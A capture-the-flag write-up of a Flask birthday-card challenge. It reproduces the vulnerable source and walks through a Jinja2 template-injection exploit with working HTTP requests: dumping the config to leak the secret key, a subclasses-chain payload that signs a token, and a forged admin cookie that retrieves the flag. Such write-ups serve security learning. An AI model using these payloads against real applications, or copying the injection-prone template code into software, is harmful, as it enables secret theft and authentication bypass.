๐Ÿ“– Introduction

The website consists of a single page for generating birthday cards. It features a form with 4 fields: sender, recipient, message, and message_final.

Upon submitting the form, a card is generated and displayed on the page with the entered values.

Context Explanation

We had access to the application’s source code, which is as follows:

from flask import Flask, request, jsonify, abort, render_template_string, session, redirect
import builtins as _b
import sys
import os

app = Flask(__name__)
app.secret_key = os.getenv("APP_SECRET_KEY", "default_app_secret")
env = app.jinja_env

KEY = os.getenv("APP_SECRET_KEY", "default_secret_key")

class validator:
    def security():
        return _b
    def security1(a, b, c, d):
        if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
            return False
        elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
            return False
        else:
            return True

    def security2(a, b, c, d):
        if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
            return True
        else :
            return False

@app.route("/", methods=["GET", "POST"])
def personalized_card():
    if request.method == "GET":
        return """
        <link rel="stylesheet" href="static/style.css">
        <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
        <div class="container">
            <div class="card-generator">
                <h1>Personalized Card Generator</h1>
                <form action="/" method="POST">
                    <label for="sender">Sender's Name:</label>
                    <input type="text" id="sender" name="sender" placeholder="Your name" required maxlength="50">
                    <label for="recipient">Recipient's Name:</label>
                    <input type="text" id="recipient" name="recipient" placeholder="Recipient's name" required maxlength="50">
                    <label for="message">Message:</label>
                    <input type="text" id="message" name="message" placeholder="Your message" required maxlength="50">
                    <label for="message_final">Final Message:</label>
                    <input type="text" id="message_final" name="message_final" placeholder="Final words" required maxlength="50">
                    <button type="submit">Generate Card</button>
                </form>
            </div>
        </div>
        """
    elif request.method == "POST":
        try:
            recipient = request.form.get("recipient", "")
            sender = request.form.get("sender", "")
            message = request.form.get("message", "")
            final_message = request.form.get("message_final", "")
            if validator.security1(recipient, sender, message, final_message) and validator.security2(recipient, sender, message, final_message):
                template = f"""
                    <link rel="stylesheet" href="static/style.css">
                    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
                    <div class="container">
                        <div class="card-preview">
                            <h1>Your Personalized Card</h1>
                            <div class="card">
                                <h2>From: {sender}</h2>
                                <h2>To: {recipient}</h2>
                                <p>{message}</p>
                                <h1>{final_message}</h1>
                            </div>
                            <a class="new-card-link" href="/">Create Another Card</a>
                        </div>
                    </div>
                """
            else:
                template="Either the recipient, sender, or message input is more than 50 letters"
            app.jinja_env = env
            app.jinja_env.globals.update({
                'validator': validator()
            })
            return render_template_string(template)
        except Exception as e:
            return f"""
            <link rel="stylesheet" href="static/style.css">
            <div>
                <h1>Error: {str(e)}</h1>
                <br>
                <p>Please try again. <a href="/">Back to Card Generator</a></p>
            </div>
            """, 400

@app.route("/debug/test", methods=["POST"])
def test_debug():
    user = session.get("user")
    host = request.headers.get("Host", "")
    if host != "localhost:3030":
        return "Access restricted to localhost:3030, this endpoint is only for development purposes", 403
    if not user:
        return "You must be logged in to test debugging.", 403
    try:
        raise ValueError(f"Debugging error: SECRET_KEY={KEY}")
    except Exception as e:
        return "Debugging error occurred.", 500

@app.route("/admin/report")
def admin_report():
    auth_cookie = request.cookies.get("session")
    if not auth_cookie:
        abort(403, "Unauthorized access.")
    try:
        token, signature = auth_cookie.rsplit(".", 1)
        from app.sign import initFn
        signer = initFn(KEY)
        sign_token_function = signer.get_signer()
        valid_signature = sign_token_function(token)

        if valid_signature != signature:
            abort(403, f"Invalid token.")

        if token == "admin":
            return "Flag: p_ctf{redacted}"
        else:
            return "Access denied: admin only."
    except Exception as e:
        abort(403, f"Invalid token format: {e}")

@app.after_request
def clear_imports(response):
    if 'app.sign' in sys.modules:
        del sys.modules['app.sign']
    if 'app.sign' in globals():
        del globals()['app.sign']
    return response

Directive

To be added soon.


๐Ÿ› ๏ธ Solution

After analyzing the code, the vulnerability appears to be a Server-Side Template Injection (SSTI) in the form fields.

template = f"""
    <link rel="stylesheet" href="static/style.css">
    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
    <div class="container">
        <div class="card-preview">
            <h1>Your Personalized Card</h1>
            <div class="card">
                <h2>From: {sender}</h2>
                <h2>To: {recipient}</h2>
                <p>{message}</p>
                <h1>{final_message}</h1>
            </div>
            <a class="new-card-link" href="/">Create Another Card</a>
        </div>
    </div>
"""

However, there are restrictions on the length of the fields and their contents. To retrieve the flag, we need to call the /admin/report route with a valid admin token.

The controls are as follows:

class validator:
    def security():
        return _b
    def security1(a, b, c, d):
        if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
            return False
        elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
            return False
        else:
            return True

    def security2(a, b, c, d):
        if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
            return True
        else :
            return False

In summary, the controls are:

  • Fields must not contain the words validator or os.
  • Fields must not exceed 50 characters.

To exploit the SSTI while bypassing the controls, we retrieved the secret key by reading the application’s config.

Retrieving the Secret Key

POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 51
Content-Type: application/x-www-form-urlencoded

sender={{config}}&message=msg&message_final=msg_fin
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'dsbfeif3uwf6bes878hgi', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'KEY': 'dsbfeif3uwf6bes878hgi'}>

We read the KEY entry, which is the application’s secret key: 'KEY': 'dsbfeif3uwf6bes878hgi'.

Creating a Signed Token

To sign a token with this key, we used a library available within the application via a HiddenClass that requires a key in its constructor and contains the _sign_token("value") method.

POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 152
Content-Type: application/x-www-form-urlencoded

sender={%set p = ''.__class__.__mro__[1].__subclasses__%}&message={% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}&message_final={{d._sign_token("admin")}}

Payload Explanation

{%set p = ''.__class__.__mro__[1].__subclasses__%}

This payload sets the variable p to the list of subclasses of the base class.

''.__class__.__mro__[1].__subclasses__ retrieves the list of subclasses of the base class (str in this case).


{% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}

This payload sets the variable d to an instance of HiddenClass in the list p, initialized with the secret key dsbfeif3uwf6bes878hgi.

p()[-2]('dsbfeif3uwf6bes878hgi') creates an instance of HiddenClass with the provided secret key.


{{d._sign_token("admin")}}

This payload uses the instance d to call the _sign_token method with the argument admin, effectively generating a signed token with the value admin.

{{d._sign_token("admin")}} renders the result of the _sign_token method call, which is the signed token.


In the response, we retrieved the forged token in the message_final field: admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b.

Retrieving the Flag

We were able to retreive the flag by sending a request to the /admin/report route with the forged token.

GET /admin/report HTTP/2
Host: birthday.ctf.prgy.in
Cookie: session=admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b
HTTP/2 200 OK
Server: gunicorn
Date: Fri, 07 Feb 2025 15:13:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 33

Flag: p_ctf{S3rVer_STI_G0es_hArd}